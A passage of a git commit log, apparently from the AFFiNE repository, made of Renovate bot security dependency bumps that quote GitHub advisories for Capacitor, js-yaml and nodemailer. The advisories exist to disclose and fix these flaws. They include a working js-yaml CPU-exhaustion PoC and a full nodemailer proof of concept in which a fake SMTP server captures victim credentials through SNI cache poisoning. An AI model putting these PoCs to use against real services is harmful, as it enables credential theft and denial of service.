exposes through its registered Capacitor plugins.

The proxy handler was additionally served **regardless of whether the
`CapacitorHttp` plugin was enabled**, so applications that never enabled
`CapacitorHttp` were also affected.

Exploitation requires a victim to activate a link inside the
application's
WebView. Any Capacitor application that renders user-controlled or
unsanitized
links (chat messages, comments, rich-text content) is a viable delivery
surface.

Both **Android and iOS** are affected.

##### Patches

Two changes on each platform:

1. The navigation guard now blocks frame navigations whose path is the
internal
   proxy path.
2. The proxy handler is served only when `CapacitorHttp` is enabled, and
never
   for a document (main frame) request.

Legitimate `CapacitorHttp` usage is unaffected. `fetch` and
`XMLHttpRequest` are
subresource requests and do not pass through the navigation guard.

Upgrade to a patched version, then rebuild and redistribute your
application.

##### Workarounds

If you cannot upgrade immediately, note first that **disabling
`CapacitorHttp`
is not sufficient** on affected versions, because the proxy path is
served
regardless of that setting.

Registered plugins are consulted before the navigation guard runs, so a
small
plugin can block the path. On Android, override `shouldOverrideLoad(Uri
url)` and
return `true` when `url.getPath()` starts with
`/_capacitor_http_interceptor_`.
On iOS, implement `shouldOverrideLoad(_:)` and return `true` for the
same path.
Returning `true` cancels the navigation; return `null`/`nil` for all
other URLs
so normal navigation is unchanged.

Independently, sanitize user-controlled link targets before rendering
them in the
WebView.

#### Severity
- CVSS Score: 9.3 / 10 (Critical)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`

#### References
-
[https://github.com/ionic-team/capacitor/security/advisories/GHSA-rvm3-566m-v7fv](https://redirect.github.com/ionic-team/capacitor/security/advisories/GHSA-rvm3-566m-v7fv)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-103922](https://nvd.nist.gov/vuln/detail/CVE-2026-103922)
-
[https://github.com/ionic-team/capacitor/commit/430356a91e1419fc66862dc09835081aa501677e](https://redirect.github.com/ionic-team/capacitor/commit/430356a91e1419fc66862dc09835081aa501677e)
-
[https://github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc](https://redirect.github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc)
-
[https://github.com/ionic-team/capacitor/commit/80b6c5e81d062e1e158914040f49e044d95b7ccb](https://redirect.github.com/ionic-team/capacitor/commit/80b6c5e81d062e1e158914040f49e044d95b7ccb)
-
[https://github.com/ionic-team/capacitor/commit/85ccc44151fdd5ae5e0d806d875766ef4b84ad5d](https://redirect.github.com/ionic-team/capacitor/commit/85ccc44151fdd5ae5e0d806d875766ef4b84ad5d)
-
[https://github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4](https://redirect.github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4)
-
[https://github.com/ionic-team/capacitor/commit/d5e3170ba0ff155fc542b7e6d16cff5201406540](https://redirect.github.com/ionic-team/capacitor/commit/d5e3170ba0ff155fc542b7e6d16cff5201406540)
-
[https://github.com/ionic-team/capacitor/commit/ee586ae680887ba99d066616f976db149542d922](https://redirect.github.com/ionic-team/capacitor/commit/ee586ae680887ba99d066616f976db149542d922)
-
[https://github.com/ionic-team/capacitor/releases/tag/8.5.1](https://redirect.github.com/ionic-team/capacitor/releases/tag/8.5.1)
-
[https://github.com/advisories/GHSA-rvm3-566m-v7fv](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>ionic-team/capacitor (@&#8203;capacitor/ios)</summary>

###
[`v8.4.3`](https://redirect.github.com/ionic-team/capacitor/releases/tag/8.4.3)

[Compare
Source](https://redirect.github.com/ionic-team/capacitor/compare/8.4.2...8.4.3)

##### Bug Fixes

- block navigation to the internal HTTP proxy path
([745b5f8](https://redirect.github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc))
- block the HTTP proxy path in subframes
([af9a287](https://redirect.github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-07 10:04:20 +08:00
renovate[bot] dc956ba1b9 chore: bump up @capacitor/android version to v8.4.3 [SECURITY] (#15675)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@capacitor/android](https://capacitorjs.com)
([source](https://redirect.github.com/ionic-team/capacitor)) | [`8.4.2`
→
`8.4.3`](https://renovatebot.com/diffs/npm/@capacitor%2fandroid/8.4.2/8.4.3)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fandroid/8.4.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fandroid/8.4.2/8.4.3?slim=true)
|

---

### Capacitor Android and iOS: remote content can be loaded at the app
origin via the internal HTTP proxy path
[CVE-2026-103922](https://nvd.nist.gov/vuln/detail/CVE-2026-103922) /
[GHSA-rvm3-566m-v7fv](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv)

<details>
<summary>More information</summary>

#### Details
##### Impact

Capacitor's WebView navigation guard validated only the **host and
scheme** of a
target URL, not its **path**. Because the internal HTTP proxy path
(`/_capacitor_http_interceptor_`) is served at the application's own
origin, a
frame navigation to it was always treated as in-app navigation and
allowed.

Loading that path as a document caused the native layer to fetch an
arbitrary,
caller-specified URL and return the response body to the WebView **at
the app's
own origin**. Script in that response then ran with full same-origin
trust:
access to `localStorage`, cookies, and every native capability the
application
exposes through its registered Capacitor plugins.

The proxy handler was additionally served **regardless of whether the
`CapacitorHttp` plugin was enabled**, so applications that never enabled
`CapacitorHttp` were also affected.

Exploitation requires a victim to activate a link inside the
application's
WebView. Any Capacitor application that renders user-controlled or
unsanitized
links (chat messages, comments, rich-text content) is a viable delivery
surface.

Both **Android and iOS** are affected.

##### Patches

Two changes on each platform:

1. The navigation guard now blocks frame navigations whose path is the
internal
   proxy path.
2. The proxy handler is served only when `CapacitorHttp` is enabled, and
never
   for a document (main frame) request.

Legitimate `CapacitorHttp` usage is unaffected. `fetch` and
`XMLHttpRequest` are
subresource requests and do not pass through the navigation guard.

Upgrade to a patched version, then rebuild and redistribute your
application.

##### Workarounds

If you cannot upgrade immediately, note first that **disabling
`CapacitorHttp`
is not sufficient** on affected versions, because the proxy path is
served
regardless of that setting.

Registered plugins are consulted before the navigation guard runs, so a
small
plugin can block the path. On Android, override `shouldOverrideLoad(Uri
url)` and
return `true` when `url.getPath()` starts with
`/_capacitor_http_interceptor_`.
On iOS, implement `shouldOverrideLoad(_:)` and return `true` for the
same path.
Returning `true` cancels the navigation; return `null`/`nil` for all
other URLs
so normal navigation is unchanged.

Independently, sanitize user-controlled link targets before rendering
them in the
WebView.

#### Severity
- CVSS Score: 9.3 / 10 (Critical)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`

#### References
-
[https://github.com/ionic-team/capacitor/security/advisories/GHSA-rvm3-566m-v7fv](https://redirect.github.com/ionic-team/capacitor/security/advisories/GHSA-rvm3-566m-v7fv)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-103922](https://nvd.nist.gov/vuln/detail/CVE-2026-103922)
-
[https://github.com/ionic-team/capacitor/commit/430356a91e1419fc66862dc09835081aa501677e](https://redirect.github.com/ionic-team/capacitor/commit/430356a91e1419fc66862dc09835081aa501677e)
-
[https://github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc](https://redirect.github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc)
-
[https://github.com/ionic-team/capacitor/commit/80b6c5e81d062e1e158914040f49e044d95b7ccb](https://redirect.github.com/ionic-team/capacitor/commit/80b6c5e81d062e1e158914040f49e044d95b7ccb)
-
[https://github.com/ionic-team/capacitor/commit/85ccc44151fdd5ae5e0d806d875766ef4b84ad5d](https://redirect.github.com/ionic-team/capacitor/commit/85ccc44151fdd5ae5e0d806d875766ef4b84ad5d)
-
[https://github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4](https://redirect.github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4)
-
[https://github.com/ionic-team/capacitor/commit/d5e3170ba0ff155fc542b7e6d16cff5201406540](https://redirect.github.com/ionic-team/capacitor/commit/d5e3170ba0ff155fc542b7e6d16cff5201406540)
-
[https://github.com/ionic-team/capacitor/commit/ee586ae680887ba99d066616f976db149542d922](https://redirect.github.com/ionic-team/capacitor/commit/ee586ae680887ba99d066616f976db149542d922)
-
[https://github.com/ionic-team/capacitor/releases/tag/8.5.1](https://redirect.github.com/ionic-team/capacitor/releases/tag/8.5.1)
-
[https://github.com/advisories/GHSA-rvm3-566m-v7fv](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>ionic-team/capacitor (@&#8203;capacitor/android)</summary>

###
[`v8.4.3`](https://redirect.github.com/ionic-team/capacitor/releases/tag/8.4.3)

[Compare
Source](https://redirect.github.com/ionic-team/capacitor/compare/8.4.2...8.4.3)

##### Bug Fixes

- block navigation to the internal HTTP proxy path
([745b5f8](https://redirect.github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc))
- block the HTTP proxy path in subframes
([af9a287](https://redirect.github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-07 10:03:53 +08:00
renovate[bot] beaeb5e7df chore: bump up js-yaml version to v5.4.1 [SECURITY] (#15664)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`5.2.3` →
`5.4.1`](https://renovatebot.com/diffs/npm/js-yaml/5.2.3/5.4.1) |
![age](https://developer.mend.io/api/mc/badges/age/npm/js-yaml/5.4.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/js-yaml/5.2.3/5.4.1?slim=true)
|
| [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`^3.15.1` →
`^5.0.0`](https://renovatebot.com/diffs/npm/js-yaml/3.15.2/5.4.1) |
![age](https://developer.mend.io/api/mc/badges/age/npm/js-yaml/5.4.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/js-yaml/3.15.2/5.4.1?slim=true)
|

---

### js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge
sources

[GHSA-r3ph-w7gj-g6xm](https://redirect.github.com/advisories/GHSA-r3ph-w7gj-g6xm)

<details>
<summary>More information</summary>

#### Details
##### Summary

`maxTotalMergeKeys` does not count empty mappings. An attacker can
repeatedly merge a large sequence of them and consume significant CPU
without reaching the configured limit.

##### Example

```yaml
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times
```

For every target, the loader iterates all `N` elements of `arr`. This
results in `O(N * K)` work while `totalMergeKeys` remains unchanged.

##### PoC

```js
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)
```

Observed results:

| N | YAML size | Time |
|---:|---:|---:|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |

##### Impact

When merge keys are enabled, an attacker can submit a relatively small
YAML document that causes prolonged CPU consumption despite the default
`maxTotalMergeKeys` limit.

##### Fix

Count every merge source mapping as one budget unit in addition to
counting its keys.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm)
-
[https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480](https://redirect.github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480)
-
[https://github.com/nodeca/js-yaml/releases/tag/5.4.1](https://redirect.github.com/nodeca/js-yaml/releases/tag/5.4.1)
-
[https://github.com/advisories/GHSA-r3ph-w7gj-g6xm](https://redirect.github.com/advisories/GHSA-r3ph-w7gj-g6xm)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-r3ph-w7gj-g6xm)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodeca/js-yaml (js-yaml)</summary>

###
[`v5.4.1`](https://redirect.github.com/nodeca/js-yaml/compare/5.4.0...5.4.1)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/5.4.0...5.4.1)

###
[`v5.4.0`](https://redirect.github.com/nodeca/js-yaml/blob/HEAD/CHANGELOG.md#540---2026-08-25)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/5.3.0...5.4.0)

##### Added

- Added the `scalarStyleRules` dumper option to customize string
formatting.
  See [Scalar styling](docs/scalar_styling.md) for details.

##### Changed

- \[breaking] Flattened the low-level AST node style representation.
Scalar
and collection nodes now use `SCALAR_STYLE` and `COLLECTION_STYLE`
values;
explicit tags use the separate `tagged` property. Alias nodes now
contain
only `kind` and `anchor`. This only affects code that directly
constructs or
  edits AST nodes.
- \[breaking] The `sortKeys` option was rewritten using AST mutation to
avoid
  side effects.
- Reworked scalar style selection. This can change formatting without
changing
loaded values; in particular, whitespace-only strings are now
double-quoted.

##### Fixed

- Accept a byte order mark at the start of each document in a stream,
[#&#8203;791](https://redirect.github.com/nodeca/js-yaml/issues/791).
- Produce valid flow mappings with `quoteFlowKeys` and
`flowSkipColonSpace`,
including alias and property-only keys,
[#&#8203;786](https://redirect.github.com/nodeca/js-yaml/issues/786).
- Preserve empty scalar items when converting block sequences to flow
style.
- Do not apply the 1024-character simple-key limit to flow mapping keys.
- Count Unicode code points, rather than UTF-16 code units, for the
  1024-character simple-key limit.
- Add an explicit document-end marker after keep-chomped block scalars
when
  needed to preserve trailing newlines.

###
[`v5.3.0`](https://redirect.github.com/nodeca/js-yaml/blob/HEAD/CHANGELOG.md#530---2026-08-14)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/5.2.3...5.3.0)

This release focuses on reworking the documentation and making small
architectural improvements before moving forward.

##### Added

- Added completely new documentation.
- Exported `DUMP_SCHEMA`, the default schema used by the dumper.
- Added `YAMLException.throwAt()` for throwing an error at a source
position.

##### Changed

- Changed flat constant exports to grouped exports: `EVENT_ID`,
`SCALAR_STYLE`,
`COLLECTION_STYLE`, and `CHOMPING_MODE`, along with their value types.
The old
  exports are still preserved, but deprecated.
- Made `identify` mandatory for custom tag definitions. Use
  `identify: () => false` for load-only tags.

##### Deprecated

- Deprecated flat constant exports. Use grouped ones instead.

##### Removed

- Removed the `MERGE_KEY` export (not used anymore after last fixes).

##### Fixed

- Validate `<<` sequence items at merge time, so aliased merge sources
are
  checked too.
- Resolve `<<` outside of a mapping key as the plain string `'<<'`,
matching
  v4, instead of leaking an internal symbol into the result.

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-07 02:12:06 +08:00
renovate[bot] 6b8a580a33 chore: bump up nodemailer version to v10 [SECURITY] (#15665)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) |
[`^9.1.1` →
`^10.0.0`](https://renovatebot.com/diffs/npm/nodemailer/9.1.1/10.0.9) |
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/10.0.9?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/9.1.1/10.0.9?slim=true)
|

---

### Nodemailer: Process-global DNS cache reuses TLS `servername` across
transports, enabling cross-tenant SMTP credential disclosure

[GHSA-6vj9-mwq6-2f5v](https://redirect.github.com/advisories/GHSA-6vj9-mwq6-2f5v)

<details>
<summary>More information</summary>

#### Details
##### Summary

Nodemailer's process-global DNS cache is keyed only by `host`, but each
cache entry also stores the caller-specific TLS `servername`. When two
direct SMTPS transports use the same DNS host with different
`tls.servername` values, the first transport's server name is returned
to the second transport and overwrites its explicitly configured value.

As a result, Nodemailer sends the wrong SNI value and verifies the peer
certificate against the wrong identity. In a multi-tenant service or
SNI-routed SMTP gateway, one tenant can prime the cache so that a victim
transport connects to the attacker's TLS virtual host, accepts the
attacker's certificate with `rejectUnauthorized: true`, and sends the
victim's SMTP credentials to it.

##### Affected component

- **Ecosystem:** npm
- **Package:** `nodemailer`
- **Repository:** https://github.com/nodemailer/nodemailer
- **Tested version:** `10.0.1`
- **Tested commit:** `40d52215aac65b811d7e131bc916f68605efd9d2`
- **Runtime-confirmed vulnerable versions:** `5.0.0` and `10.0.1`
- **Affected versions:** `>= 5.0.0, <= 10.0.1`
- **Patched versions:** None known at the time of this report
- **Affected mode:** Direct TLS/SMTPS connections (`secure: true`) where
different transports use the same non-IP `host` and different TLS
`servername` values

The vulnerable cache implementation was introduced in commit
`6859b5dd96c8d9f0070a3169a877181b71df4a3b` on 2018-12-28. Git history
shows `v5.0.0` as the first release tag containing that commit. The
behavior remains present in `v10.0.1`.

##### Details

##### Root cause

`src/shared/index.ts` defines one module-global DNS cache, keyed only by
the DNS host:

```ts
export const dnsCache = new Map<string, DnsCacheEntry>();
```

Although the cache key contains only `host`, the cached value contains
both DNS addresses and the request-specific TLS identity:

```ts
const value: DnsCacheValue = {
    addresses: allAddresses,
    servername: options.servername || host
};

dnsCache.set(host, {
    value,
    expires: Date.now() + (options.dnsTtl || DNS_TTL)
});
```

On a cache hit, `resolveHostname()` returns the cached `servername`
without considering the current call's `options.servername`:

```ts
if (!cached.expires || cached.expires >= now) {
    return callback(
        null,
        formatDNSValue(cached.value, {
            cached: true
        })
    );
}
```

`formatDNSValue()` copies that stale value into the result:

```ts
return Object.assign(
    {
        servername: value.servername,
        host,
        _addresses: addresses
    },
    extra || {}
);
```

For a direct TLS connection, `SMTPConnection.connect()` initially copies
the current transport's TLS configuration into `opts`.
`_resolveAndConnect()` then overwrites every truthy field with the
cached resolver result, including `opts.servername`:

```ts
Object.assign(opts, this.options.tls || {});

if (this.servername && !opts.servername) {
    opts.servername = this.servername;
}

return this._resolveAndConnect(opts, resolved => {
    this._connectToHost(opts, this.secureConnection);
});
```

```ts
for (const key of Object.keys(resolved!)) {
    if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) {
        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];
    }
}
```

The resulting `opts` object is passed to `tls.connect()`. Node therefore
sends the cached server name as SNI and verifies the certificate against
that cached name, rather than against the server name explicitly
configured for the current transport.

The default DNS cache TTL is five minutes:

```ts
const DNS_TTL = 5 * 60 * 1000;
```

##### Code path

```text
Tenant A: createTransport({ host: H, secure: true,
                            tls: { servername: attackerName } })
  -> SMTPConnection.connect()
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: attackerName })
  -> dnsCache.set(H, { addresses, servername: attackerName })

Victim: createTransport({ host: H, secure: true,
                          tls: { servername: victimName } })
  -> SMTPConnection.connect()
  -> opts.servername = victimName
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: victimName })
  -> dnsCache.get(H)
  -> returns cached servername = attackerName
  -> _resolveAndConnect overwrites opts.servername
  -> tls.connect({ servername: attackerName })
  -> attacker SNI virtual host and certificate are selected
  -> AUTH transmits victim SMTP credentials
```

##### Relevant source locations in the tested revision

- `src/shared/index.ts:184` — five-minute default cache TTL
- `src/shared/index.ts:245` — process-global cache keyed by host
- `src/shared/index.ts:247-262` — cached `servername` returned by
`formatDNSValue()`
- `src/shared/index.ts:292-323` — host-only lookup and cache-hit return
- `src/shared/index.ts:350-359` — caller-specific `servername` stored in
host-only cache
- `src/smtp-connection/index.ts:713-729` — direct TLS options and
resolver call
- `src/smtp-connection/index.ts:741-763` — cached fields overwrite
current connection options

##### PoC

##### Prerequisites

- Node.js 20 (tested with Node.js `20.20.2`)
- A checkout/build of Nodemailer `10.0.1`
- OpenSSL to generate the local test certificate

No external SMTP server or network access is required.

##### 1. Generate a certificate for only `attacker.test`

Create `openssl.cnf`:

```ini
[req]
distinguished_name = dn
x509_extensions = ext
prompt = no

[dn]
CN = attacker.test

[ext]
subjectAltName = DNS:attacker.test
basicConstraints = critical,CA:TRUE
keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign
extendedKeyUsage = serverAuth
```

Generate the certificate and private key:

```bash
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf
```

##### 2. Save the following as `poc-dns-cache-servername-confusion.mjs`

Adjust the two import paths if the PoC is not saved beside the
repository checkout.

```js
import fs from 'node:fs';
import tls from 'node:tls';
import nodemailer from '../../nodemailer/dist/esm/nodemailer.js';
import * as shared from '../../nodemailer/dist/esm/shared/index.js';

const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));
const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));
const observedSni = [];
const observedAuth = [];

const server = tls.createServer({ key, cert }, socket => {
    observedSni.push(socket.servername);
    socket.write('220 attacker.test ESMTP\r\n');
    let input = '';
    socket.on('data', chunk => {
        input += chunk.toString();
        let end;
        while ((end = input.indexOf('\r\n')) >= 0) {
            const line = input.slice(0, end);
            input = input.slice(end + 2);
            if (/^EHLO /i.test(line)) {
                socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n');
            } else if (/^AUTH /i.test(line)) {
                observedAuth.push(line);
                socket.write('235 2.7.0 Authentication successful\r\n');
            } else if (/^QUIT/i.test(line)) {
                socket.end('221 Bye\r\n');
            } else {
                socket.write('250 OK\r\n');
            }
        }
    });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

try {
    shared.dnsCache.clear();

    // Tenant A seeds the process-global cache for the shared DNS host.
    const attackerTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'attacker@example.test', pass: 'attacker-secret' },
        tls: {
            ca: cert,
            servername: 'attacker.test',
            rejectUnauthorized: true
        }
    });
    await attackerTransport.verify();
    attackerTransport.close();

    // The victim explicitly configures a different TLS identity.
    const victimTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'victim@example.test', pass: 'victim-secret' },
        tls: {
            ca: cert,
            servername: 'victim.test',
            rejectUnauthorized: true
        }
    });
    await victimTransport.verify();
    victimTransport.close();

    const decoded = observedAuth.map(line =>
        line.startsWith('AUTH PLAIN ')
            ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString()
            : null
    );

    console.log(JSON.stringify({
        attackerConfiguredServername: 'attacker.test',
        victimConfiguredServername: 'victim.test',
        serverObservedSniForBothConnections: observedSni,
        serverReceivedCredentials: decoded
    }, null, 2));
} finally {
    shared.dnsCache.clear();
    await new Promise(resolve => server.close(resolve));
}
```

##### 3. Build and run

From the Nodemailer checkout:

```bash
npm install
npm run build
node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs
```

##### Observed result

```json
{
  "attackerConfiguredServername": "attacker.test",
  "victimConfiguredServername": "victim.test",
  "serverObservedSniForBothConnections": [
    "attacker.test",
    "attacker.test"
  ],
  "serverReceivedCredentials": [
    "\\u0000attacker@example.test\\u0000attacker-secret",
    "\\u0000victim@example.test\\u0000victim-secret"
  ]
}
```

The victim configured `victim.test`, but the server observes
`attacker.test` for both handshakes. The local certificate contains only
`attacker.test`, yet the victim connection succeeds with
`rejectUnauthorized: true` and then sends the victim's username and
password.

##### Expected result

The second connection must use `victim.test` for SNI and certificate
hostname verification. With the PoC certificate, it should fail with a
hostname mismatch before SMTP authentication occurs. It must never
transmit victim credentials after validating the peer as
`attacker.test`.

##### Impact

The vulnerability affects long-running applications that create multiple
Nodemailer transports in one process and let separate tenants or
security domains configure transports that share a DNS `host`. A
practical example is an email platform whose SMTP gateway uses SNI to
route several customer-specific SMTP endpoints behind one hostname.

An attacker who can create or exercise one transport can prime the
global cache with the shared host and the attacker's `tls.servername`.
During the cache lifetime, a victim's direct SMTPS connection to that
host can:

1. send the attacker's server name as SNI;
2. be routed to the attacker's TLS virtual host;
3. validate the attacker's certificate against the stale name, even
though strict certificate validation is enabled; and
4. transmit the victim's SMTP username and password to that endpoint.

Possession of SMTP credentials may also let the attacker read or change
mail account state where the provider reuses those credentials, or send
mail as the victim. The exact secondary impact depends on the SMTP
provider.

Where the attacker cannot control an SNI virtual host, stale
cross-transport SNI can still cause certificate mismatch failures and
cross-tenant availability impact.

##### Preconditions and limitations

- Two transports must execute in the same Node.js process within the
cache lifetime.
- They must use the same non-IP `host` cache key and different
`tls.servername` values.
- Credential interception requires an endpoint or gateway that routes
connections using SNI, or another deployment where the attacker controls
the endpoint selected by the stale name.
- The demonstrated path uses direct SMTPS (`secure: true`). The STARTTLS
upgrade path constructs TLS options separately and is not claimed
vulnerable by this report.

##### Suggested remediation

The DNS cache should store DNS data only. `servername` is
connection-specific TLS policy and should not be persisted in a cache
keyed solely by hostname.

One approach is to remove `servername` from `DnsCacheValue` and derive
the returned value from the current request on every path:

```ts
return {
    host: selectedAddress,
    servername: options.servername || options.host || false,
    _addresses: addresses,
    cached: true
};
```

As defense in depth, `_resolveAndConnect()` should not overwrite an
explicitly configured `opts.servername` with resolver metadata. Keying
the cache by both host and server name would avoid this particular
collision, but keeping TLS identity out of a DNS-address cache provides
a cleaner separation.

A regression test should create two direct-TLS transports in the same
process with the same DNS host and different explicit server names, then
assert that each TLS connection observes and verifies its own configured
name regardless of cache order.

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v)
-
